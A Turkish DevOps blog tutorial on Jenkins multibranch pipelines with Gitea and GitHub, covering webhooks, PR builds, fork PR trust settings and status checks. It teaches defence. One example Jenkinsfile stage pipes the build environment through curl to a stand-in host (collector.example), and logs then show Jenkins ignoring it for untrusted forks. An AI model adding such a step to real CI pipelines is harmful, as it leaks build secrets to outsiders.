Mert Özen Her Satırda Daha İleri
DevOps Jenkins — #06

Jenkins Multibranch Pipeline ve GitHub Entegrasyonu: Webhook, PR Build'leri ve Status Check

Mert Özen 8 Kas 2026 10 dk 6 görüntülenme
Jenkins Multibranch Pipeline ve GitHub Entegrasyonu: Webhook, PR Build'leri ve Status Check

Multibranch pipeline her branch ve PR için otomatik job açar; webhook ile saniyeler içinde build başlar, sonuç commit'e status check olarak döner. Branch source trait'leri, webhook'un localhost URL'i ve Gitea'nın SSRF engeline takılması, when ile branch/PR ayrımı, fork PR'ında Jenkinsfile'ın base branch'ten okunması, required check ve PAT yerine GitHub App.

Sürüm notu: Bu yazıdaki örnekler Jenkins 2.580.2 LTS (Long-Term Support), Gitea plugin'i 286, GitHub Branch Source plugin'i 1986 ve Gitea 28.3 ile denenmiştir. GitHub'a bağlantı yapılmadı; GitHub'ın yerine aynı akışı destekleyen yerel bir Gitea sunucusu kullanıldı, GitHub'a özgü kısımlar ayrıca belirtildi.

Önce Tahmin Et

Repository'ne dışarıdan bir katkıcı fork üzerinden pull request açıyor. PR'da (Pull Request) README'de küçük bir düzeltme var, ama Jenkinsfile'a da şu stage'i eklemiş: sh 'env | sort | curl -s -X POST --data-binary @- http://collector.example/upload'. Jenkins PR'ı otomatik build ediyor. Bu stage çalışır mı? Çalışırsa, build'in environment'ındaki her şey bir yabancının sunucusuna gider.

Multibranch Pipeline Ne Yapar?

Üçüncü yazıda Jenkinsfile'ı repository'ye koyduk. Multibranch pipeline, bir repository'yi tarayıp içinde Jenkinsfile bulunan her branch ve her pull request için otomatik olarak ayrı bir job açan bir job türüdür. Yeni bir branch push edildiğinde job oluşur, branch silindiğinde job da (ayarladığın kadar bekledikten sonra) silinir. Pipeline içinde hangi branch'te olduğunu env.BRANCH_NAME söyler, PR build'lerinde ek olarak CHANGE_ID, CHANGE_TARGET, CHANGE_BRANCH gibi değişkenler gelir.

Repository'nin nereden okunacağını bir branch source belirler. GitHub için GitHub Branch Source plugin'i, Bitbucket ve GitLab için kendi plugin'leri, Gitea için Gitea plugin'i var; hepsi aynı SCM (Source Control Management) API'sinin (Application Programming Interface) üzerine kurulu ve davranışları neredeyse aynı. Bu seri GitHub'a hiçbir şey push etmediği için örnekler yerel bir Gitea sunucusunda koştu. Job'u JCasC (Jenkins Configuration as Code) içinden Job DSL (Domain-Specific Language) ile tanımladım:

multibranchPipelineJob('bookstore') {
    displayName('Bookstore API and Web')
    branchSources {
        branchSource {
            source {
                giteaSCMSource {
                    id('bookstore-gitea')
                    serverUrl('http://jenkwork-gitea:3000')
                    repoOwner('bookstore')
                    repository('bookstore')
                    credentialsId('gitea-ci')
                    traits {
                        giteaBranchDiscovery {
                            strategyId(1)
                        }
                        giteaPullRequestDiscovery {
                            strategyId(1)
                        }
                        giteaForkDiscovery {
                            strategyId(1)
                            trust {
                                giteaTrustContributors()
                            }
                        }
                    }
                }
            }
        }
    }
    orphanedItemStrategy {
        discardOldItems {
            numToKeep(5)
        }
    }
}

Üç trait üç soruyu cevaplıyor. Branch discovery strategyId(1): PR'ı açık olan branch'leri ayrıca build etme, onlar zaten PR olarak build edilecek. Origin PR discovery strategyId(1): aynı repository'deki branch'lerden açılan PR'ları, hedef branch'le merge edilmiş hâliyle build et. Fork discovery: fork'tan gelen PR'ları da bul, ama yalnız repository'de yazma yetkisi olan kişilerin Jenkinsfile'ına güven. Bu sonuncusu yazının başındaki sorunun cevabını belirliyor. İlk denememde job'u yazarken Gitea source için gitea { } yazmıştım ve JCasC bunu reddetti, çünkü bu source'un bir Job DSL kısaltması yok; class adından türeyen giteaSCMSource kullanmak gerekiyor:

No signature of method: javaposse.jobdsl.plugin.structs.DescribableListContext.gitea() is applicable for argument types: (script$_run_closure1$_closure2$_closure4$_closure5$_closure6)

Doğru adı bulmanın en kısa yolu Jenkins'in kendi Job DSL API viewer'ı (/plugin/job-dsl/api-viewer/index.html); kurulu plugin'lere göre üretildiği için internetteki örneklerden daha güvenilir.

Webhook mu, Polling mi?

Jenkins'in bir push'tan haberdar olmasının iki yolu var: belli aralıklarla Git sunucusunu sormak (polling, ya da multibranch'te periyodik tarama) veya Git sunucusunun Jenkins'e haber vermesi (webhook). Webhook saniyeler içinde build başlatır ve Git sunucusunu boş yere yormaz; polling ise ağ kapalıyken de çalışır ama gecikmeli ve pahalıdır. Doğru kurulum webhook artı seyrek bir periyodik tarama (ör. günde bir); tarama, kaçan webhook'ları telafi eder.

Gitea plugin'i manageHooks: true ile webhook'u kendisi oluşturuyor. Burada iki tuzağa düştüm ve ikisi de production'da çok sık görülen tuzaklar. Birincisi, plugin hook'u job oluşturulurken veya güncellenirken kuruyor ve hedef adresi Jenkins URL'inden (Uniform Resource Locator) türetiyor. Benim kurulumumda Jenkins URL'i http://localhost:18400/ idi ve ilk kurulumdan sonra Gitea'da hiç hook yoktu; olsaydı bile Gitea için localhost kendisi demek. JCasC'de location.url'i Gitea'nın gördüğü adrese (http://jenkwork-jenkins:8080/) çevirip job'u güncellediğimde hook oluştu:

gitea http://jenkwork-jenkins:8080/gitea-webhook/post ['pull_request', 'repository', 'pull_request_milestone', 'pull_request_sync', 'pull_request_comment', 'pull_request_review_request', 'pull_request_label', 'push', 'delete', 'release', 'pull_request_assign', 'pull_request_review', 'create'] True

İkincisi, push ettim ve hiçbir şey olmadı. Cevap Gitea'nın log'undaydı:

services/webhook/webhook.go:99:handler() [E] Unable to deliver webhook task[1]: unable to deliver webhook task[1] in http://jenkwork-jenkins:8080/gitea-webhook/post due to error in http client: Post "http://jenkwork-jenkins:8080/gitea-webhook/post": dial tcp 172.21.0.4:8080: denied by egress policy: jenkwork-jenkins(172.21.0.4) needs an explicit IP allow entry (non-public address)

Gitea, SSRF (Server-Side Request Forgery) saldırılarına karşı webhook'ların özel IP (Internet Protocol) adreslerine gitmesini varsayılan olarak engelliyor. Ben izin listesine Jenkins'in host adını yazmıştım; hata mesajının dediği gibi özel bir adres için açık bir IP girişi ya da private gibi bir kategori gerekiyordu. İzin listesini private yapınca bir sonraki push saniyeler içinde build başlattı:

Push event to branch main
Looking up repository bookstore/bookstore
Current revision of branch main is 94e4821cd13d14e2de769c731aea0ec6649306f1
Obtained Jenkinsfile from 94e4821cd13d14e2de769c731aea0ec6649306f1
Running on docker-agent-1 in /home/jenkins/agent/workspace/bookstore_main
Checking out Revision 94e4821cd13d14e2de769c731aea0ec6649306f1 (main)
Commit message: "Add README"
[Gitea] Notifying branch build status: PENDING Build started...
Branch: main
+ git log -1 --format=%h %s
94e4821 Add README
Stage "PR checks" skipped due to when conditional
Deploying main to staging
[Gitea] Notifying branch build status: SUCCESS This commit looks good
Finished: SUCCESS

GitHub'da durum aynı mantıkla işler: webhook GitHub'ın sunucularından gelir, yani Jenkins'in internetten erişilebilir bir HTTPS (HTTP Secure) adresi olmalı ya da arada bir relay bulunmalı. Firewall'ın arkasındaki bir Jenkins'e GitHub webhook'u ulaşmaz; bu durumda ya Jenkins'i bir reverse proxy ile dışarı açarsın (ilerideki Web Server'lar ve Hosting serisinin konusu) ya da periyodik taramaya razı olursun.

Branch ve PR Build'leri: when ile Ayrım

Bookstore'un Jenkinsfile'ına branch'e ve PR'a göre çalışan iki stage ekledim:

stages {
    stage('Info') {
        steps {
            echo "Branch: ${env.BRANCH_NAME}"
            sh 'git log -1 --format="%h %s"'
        }
    }
    stage('PR checks') {
        when { changeRequest() }
        steps {
            echo "PR #${env.CHANGE_ID}: ${env.CHANGE_BRANCH} -> ${env.CHANGE_TARGET} by ${env.CHANGE_AUTHOR}"
        }
    }
    stage('Deploy to staging') {
        when { branch 'main' }
        steps {
            echo 'Deploying main to staging'
        }
    }
}

Yukarıdaki main build'inde "PR checks" atlandı, deploy çalıştı. feature/stock-badge branch'inden bir PR açtıktan sonraki PR-1 build'i:

Obtained Jenkinsfile from 94e4821cd13d14e2de769c731aea0ec6649306f1+5ce11599d1d6248e3b6089d5e65533bd6209691d
Running on docker-agent-1 in /home/jenkins/agent/workspace/bookstore_PR-1
Merging remotes/origin/main commit 94e4821cd13d14e2de769c731aea0ec6649306f1 into PR head commit 5ce11599d1d6248e3b6089d5e65533bd6209691d
Merge succeeded, producing 5ce11599d1d6248e3b6089d5e65533bd6209691d
Checking out Revision 5ce11599d1d6248e3b6089d5e65533bd6209691d (feature/stock-badge)
[Gitea] Notifying pull request build status: PENDING Build started...
Branch: PR-1
+ git log -1 --format=%h %s
5ce1159 Rename sold-out badge text
PR #1: feature/stock-badge -> main by null
Stage "Deploy to staging" skipped due to when conditional
[Gitea] Notifying pull request build status: SUCCESS This commit looks good
Finished: SUCCESS

İki ayrıntı önemli. PR build'i PR'ın kendi commit'ini değil, hedef branch'le merge edilmiş hâlini test ediyor (Merging remotes/origin/main ... into PR head commit); yani "merge edersem main kırılır mı" sorusunun cevabı bu. Burada main PR'ın tabanıyla aynı olduğu için merge sonucu PR'ın kendi commit'i çıktı. İkincisi, CHANGE_AUTHOR Gitea plugin'inde boş (null) geldi; hangi değişkenlerin dolu olduğu branch source'a göre değişir, Jenkinsfile'da bir değişkene güvenmeden önce kendi Jenkins'inde bir kez yazdırıp bak. Bir de not: PR-1 job'u bu denemede webhook ile değil, elle başlattığım "Scan Repository Now" taramasıyla oluştu; bir sonraki PR ise doğrudan webhook olayıyla (Pull request #2 event) tetiklendi. Kaçan olaylar için periyodik taramanın neden gerekli olduğuna güzel bir örnek.

Fork PR'ları ve Güven

Şimdi baştaki soru. contractor kullanıcısı repository'yi fork'ladı, README'yi düzeltti, Jenkinsfile'a Collect stage'ini ekledi ve PR açtı. Bu kullanıcının repository'de yazma yetkisi yok. Jenkins'in PR-2 build'i:

Pull request #2 event
Current revision of pull request #2 is 283f4a37ac622d317a6b52d9d257479aa67701df
Loading trusted files from base branch main at 94e4821cd13d14e2de769c731aea0ec6649306f1 rather than 283f4a37ac622d317a6b52d9d257479aa67701df
Obtained Jenkinsfile from 94e4821cd13d14e2de769c731aea0ec6649306f1
‘Jenkinsfile’ has been modified in an untrusted revision
Running on ssh-agent-1 in /home/jenkins/agent/workspace/bookstore_PR-2
Merging remotes/origin/main commit 94e4821cd13d14e2de769c731aea0ec6649306f1 into PR head commit 283f4a37ac622d317a6b52d9d257479aa67701df
Commit message: "Improve README"
Branch: PR-2
+ git log -1 --format=%h %s
283f4a3 Improve README
PR #2: main -> main by null
Stage "Deploy to staging" skipped due to when conditional
Finished: SUCCESS

Collect stage'i log'da yok. Jenkins kodu PR'dan aldı (README değişikliği build'de var), ama Jenkinsfile'ı güvenilir olan main branch'inden okudu ve bunu açıkça yazdı: "Jenkinsfile güvenilmeyen bir revizyonda değiştirilmiş". Güven ayarının seçenekleri GitHub Branch Source'ta da aynı: Nobody (fork'tan gelen hiçbir Jenkinsfile'a güvenme), Contributors / From users with Admin or Write permission (yazma yetkisi olanlarınkine güven) ve Everyone. Açık kaynak bir projede Everyone seçmek, internetteki herkese Jenkins agent'ında komut çalıştırma izni vermek demek.

Yine de dikkat: Jenkinsfile korunuyor, kod korunmuyor. Fork'tan gelen PR dotnet test sırasında çalışan bir test ya da bir MSBuild target'ı değiştirebilir; o kod da agent'ta çalışır. Bu yüzden PR build'leri secret görmemeli, production'a erişen agent'larda koşmamalı. Beşinci yazıdaki kural burada somutlaşıyor: deploy credential'ları yalnız when { branch 'main' } stage'lerinde.

Status Check: Sonucu Commit'e Geri Göndermek

Log'daki [Gitea] Notifying pull request build status satırları build sonucunu commit'e yazıyor. Gitea API'sinden PR-1'in commit'ine baktım:

state: success
  bookstore/pipeline/pr-main success This commit looks good http://jenkwork-jenkins:8080/job/bookstore/job/PR-1/1/display/redirect

Link, Jenkins URL'inden üretiliyor; JCasC'deki location.url'in neden doğru olması gerektiğinin bir sebebi daha. GitHub Branch Source da aynı şeyi GitHub'ın Checks/Status API'siyle yapar; varsayılan context adları continuous-integration/jenkins/branch ve continuous-integration/jenkins/pr-merge'dür. Bu context'i GitHub'da bir ruleset'e required status check olarak eklediğinde, Jenkins yeşil demeden PR merge edilemez. Ruleset'lerin kendisini Git & GitHub serisinin "Git ile Ekip Çalışması: Branch Stratejileri, Rulesets ve Conventional Commits" yazısında anlatmıştık.

GitHub'a Bağlanırken: PAT Değil GitHub App

GitHub tarafında Jenkins'in kimliği için iki seçenek var: bir kullanıcının PAT'i (Personal Access Token) veya bir GitHub App. PAT bir insana bağlıdır; o kişi şirketten ayrılınca CI (Continuous Integration) durur, ve API rate limit'i o kullanıcının limitidir. GitHub App ise organizasyona kurulur, yalnız seçtiğin repository'lere ve izinlere erişir, Jenkins her istekte kısa ömürlü bir installation token üretir ve rate limit'i daha yüksektir. GitHub Branch Source plugin'i bunun için bir "GitHub App" credential türü sunuyor. JCasC'de tanımı şöyle; bunu sahte bir anahtarla controller'a yükleyip credential'ın oluştuğunu doğruladım, ama gerçek bir GitHub App'e bağlanmadım:

- gitHubApp:
    id: github-app
    appID: "123456"
    description: "GitHub App for the bookstore organization (dummy key, never used)"
    privateKey: "${readFile:/run/secrets/github_app_dummy.pem}"

GitHub App'in private key'i PKCS (Public-Key Cryptography Standards) #8 biçiminde olmalı; GitHub'ın indirdiği anahtar PKCS#1 ise plugin dokümantasyonundaki openssl pkcs8 -topk8 dönüşümünü yaparsın. Bütün bir GitHub organizasyonunu taramak için multibranch yerine organization folder kullanılır: org'daki her repository için otomatik bir multibranch job açılır. Gitea plugin'i de aynı yapıyı destekliyor.

Üretimde Dikkat

Webhook'un teslim edildiğini izle. Git sunucularının çoğu webhook teslim geçmişini tutar; Jenkins tarafında multibranch job'un "Events" log'u gelen olayları gösterir. Kaçan olaylar için günde bir periyodik tarama ekle.

PR build'lerini ayrı, secret'sız agent'larda koştur. Label'larla (linux && untrusted gibi) PR build'lerini production ağına erişimi olmayan agent'lara yönlendirmek iyi bir pratik.

Orphaned item stratejisi koy. Silinen branch'lerin job'ları ve build geçmişleri yer kaplar; discardOldItems ile ne kadar tutulacağını belirle.

Branch sayısı arttıkça executor talebi artar. Yüzlerce aktif branch'i olan bir repository'de her push bir build demek; disableConcurrentBuilds ve uygun executor sayısı olmadan queue şişer.

Sık Düşülen Tuzaklar

Jenkins URL'inin localhost kalması. Webhook oluşmaz ya da yanlış adrese gider, status check'lerdeki linkler de açılmaz.

Webhook'un reverse proxy veya firewall arkasında kalması. Git sunucusu Jenkins'e ulaşamıyorsa build'ler yalnız periyodik taramada başlar ve ekip "Jenkins neden geç kalıyor" diye sorar. Teslim hatası her zaman Git sunucusunun log'undadır, Jenkins'te değil.

Fork PR'larına "Everyone" güveni vermek. Yukarıdaki Collect stage'i o ayarla gerçekten çalışırdı.

PR build'inde production credential'ı. Jenkinsfile korunsa bile test kodu korunmaz.

Bot hesabı yerine kişisel token. Kişi ayrılınca CI durur; token'ın yetkisi de genellikle gereğinden geniştir.

Küçük Bir Deneme

★☆☆ Kendi repository'nde bir multibranch job oluştur, yeni bir branch push et ve job'un oluştuğunu gör. Branch'i sil, orphaned item stratejisine göre job'un ne zaman kaybolduğunu izle.

★★☆ Jenkins URL'ini bilerek yanlış bir adrese ayarla, push et ve webhook teslim hatasını Git sunucusunun log'unda ya da webhook geçmişinde bul. Sonra düzelt ve teslimin başarılı olduğunu doğrula.

★★★ Yazma yetkisi olmayan ikinci bir kullanıcıyla fork'tan PR aç ve Jenkinsfile'ı değiştir. "Loading trusted files from base branch" satırını gör. Sonra güven ayarını Everyone yapıp aynı PR'ı yeniden build et ve farkı karşılaştır (ve ayarı hemen geri al).

Repository bağlandı, PR'lar build ediliyor. Bir sonraki yazıda bu pipeline'a gerçek iş yaptırıyoruz: .NET SDK (Software Development Kit) container'ında restore, build, test, JUnit raporu, coverage eşiği ve publish artifact'ı.